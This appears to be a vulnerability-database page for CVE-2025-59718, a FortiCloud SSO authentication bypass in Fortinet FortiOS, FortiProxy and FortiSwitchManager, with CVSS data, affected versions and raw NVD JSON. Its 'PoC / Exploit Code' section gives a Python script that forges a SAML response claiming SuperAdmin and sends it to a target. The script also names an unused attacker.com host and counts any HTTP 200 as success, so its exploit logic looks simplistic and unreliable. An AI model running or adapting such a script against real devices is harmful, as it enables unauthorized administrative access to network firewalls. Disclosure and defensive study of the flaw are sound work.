Security Vulnerability Report
中文
CVE-2025-59718 CVSS 9.8 CRITICAL

CVE-2025-59718

Published: 2025-12-09 18:15:55
Last Modified: 2025-12-17 13:54:45

Description

A improper verification of cryptographic signature vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2.0 through 7.2.11, FortiOS 7.0.0 through 7.0.17, FortiProxy 7.6.0 through 7.6.3, FortiProxy 7.4.0 through 7.4.10, FortiProxy 7.2.0 through 7.2.14, FortiProxy 7.0.0 through 7.0.21, FortiSwitchManager 7.2.0 through 7.2.6, FortiSwitchManager 7.0.0 through 7.0.5 allows an unauthenticated attacker to bypass the FortiCloud SSO login authentication via a crafted SAML response message.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:* - VULNERABLE
FortiOS 7.6.0 - 7.6.3
FortiOS 7.4.0 - 7.4.8
FortiOS 7.2.0 - 7.2.11
FortiOS 7.0.0 - 7.0.17
FortiProxy 7.6.0 - 7.6.3
FortiProxy 7.4.0 - 7.4.10
FortiProxy 7.2.0 - 7.2.14
FortiProxy 7.0.0 - 7.0.21
FortiSwitchManager 7.2.0 - 7.2.6
FortiSwitchManager 7.0.0 - 7.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 from lxml import etree # CVE-2025-59718 PoC - SAML Response Forgery # Target: FortiOS/FortiProxy SAML SSO Authentication Bypass TARGET_URL = "https://<target-ip>/sslvpn/portal/" ATTACKER_CONTROLLED_DOMAIN = "https://attacker.com/" def create_malicious_saml_response(): """ Generate malicious SAML response for authentication bypass This PoC demonstrates the signature verification bypass """ saml_response = f""" <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Issuer>https://forticloud.fortinet.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion> <saml:Issuer>https://forticloud.fortinet.com</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"> [email protected] </saml:NameID> </saml:Subject> <saml:Conditions NotBefore="2025-01-01T00:00:00Z" NotOnOrAfter="2025-12-31T23:59:59Z"/> <saml:AttributeStatement> <saml:Attribute Name="groups"> <saml:AttributeValue>SuperAdmin</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response> """ encoded_response = base64.b64encode(saml_response.encode()).decode() return encoded_response def exploit(target_url, saml_response): """ Send malicious SAML response to target """ exploit_url = f"{target_url}?SAMLResponse={requests.utils.quote(saml_response)}" print(f"[*] Sending malicious SAML response to: {target_url}") print(f"[*] Exploit URL: {exploit_url}") try: response = requests.get(exploit_url, verify=False, timeout=30) print(f"[+] Response Status: {response.status_code}") if "authenticated" in response.text.lower() or response.status_code == 200: print("[!] Authentication bypass successful!") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-59718 - FortiOS/FortiProxy SAML Auth Bypass") malicious_response = create_malicious_saml_response() exploit(TARGET_URL, malicious_response)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59718", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:54.983", "lastModified": "2025-12-17T13:54:45.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A improper verification of cryptographic signature vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2.0 through 7.2.11, FortiOS 7.0.0 through 7.0.17, FortiProxy 7.6.0 through 7.6.3, FortiProxy 7.4.0 through 7.4.10, FortiProxy 7.2.0 through 7.2.14, FortiProxy 7.0.0 through 7.0.21, FortiSwitchManager 7.2.0 through 7.2.6, FortiSwitchManager 7.0.0 through 7.0.5 allows an unauthenticated attacker to bypass the FortiCloud SSO login authentication via a crafted SAML response message."}, {"lang": "es", "value": "Una vulnerabilidad de verificación incorrecta de firma criptográfica en Fortinet FortiOS 7.6.0 hasta 7.6.3, FortiOS 7.4.0 hasta 7.4.8, FortiOS 7.2.0 hasta 7.2.11, FortiOS 7.0.0 hasta 7.0.17, FortiProxy 7.6.0 hasta 7.6.3, FortiProxy 7.4.0 hasta 7.4.10, FortiProxy 7.2.0 hasta 7.2.14, FortiProxy 7.0.0 hasta 7.0.21, FortiSwitchManager 7.2.0 hasta 7.2.6, FortiSwitchManager 7.0.0 hasta 7.0.5 permite a un atacante no autenticado eludir la autenticación de inicio de sesión SSO de FortiCloud a través de un mensaje de respuesta SAML manipulado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "cisaExploitAdd": "2025-12-16", "cisaActionDue": "2025-12-23", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Fortinet Multiple Products Improper Verification of Cryptographic Signature Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.22", "matchCriteriaId": "FD1BE28E-8FDA-4DA9-9DA8-EF5266CD3C54"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.15", "matchCriteriaId": "4B2E82CF-00E9-4D67-B472-E54A325F87FC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.11", "matchCriteriaId": "F989EFB6-A5C9-414B-A85B-786D309B41AF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.4", "matchCriteriaId": "11CA0204-FD63-4614-821E-E2C4E34F7979"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.6", "matchCriteriaId": "F1B9AA70-BB46-403B-94C1-D94C64E22334"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.7", "matchCriteriaId": "EE22A407-02CB-4979-A38D-9EBAFEB350F6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.18", "matchCriteriaId": "BCEB8B8A-797C-4E5E-BCDB-A54EB83AD8A2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.12", "matchCriteriaId": "E8FAAA2E-7A53-4F6B-A9C7-1E2B4CB5F7EB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.9", "matchCriteriaId": "2093EFE3-4B7F-4806-9850-C42B26BC64AC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.4", "matchCriteriaId": "C1C30E0D-7F09-42D2-9EB1-E2196BD50D75"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-647", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://arcticwolf.com/resources/blog/arctic-wolf-observes-malicious-sso-logins-following-disclosure-cve-2025-59718-cve-2025-59719/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-59718", "source": "134c704f-9b21-4 ... (truncated)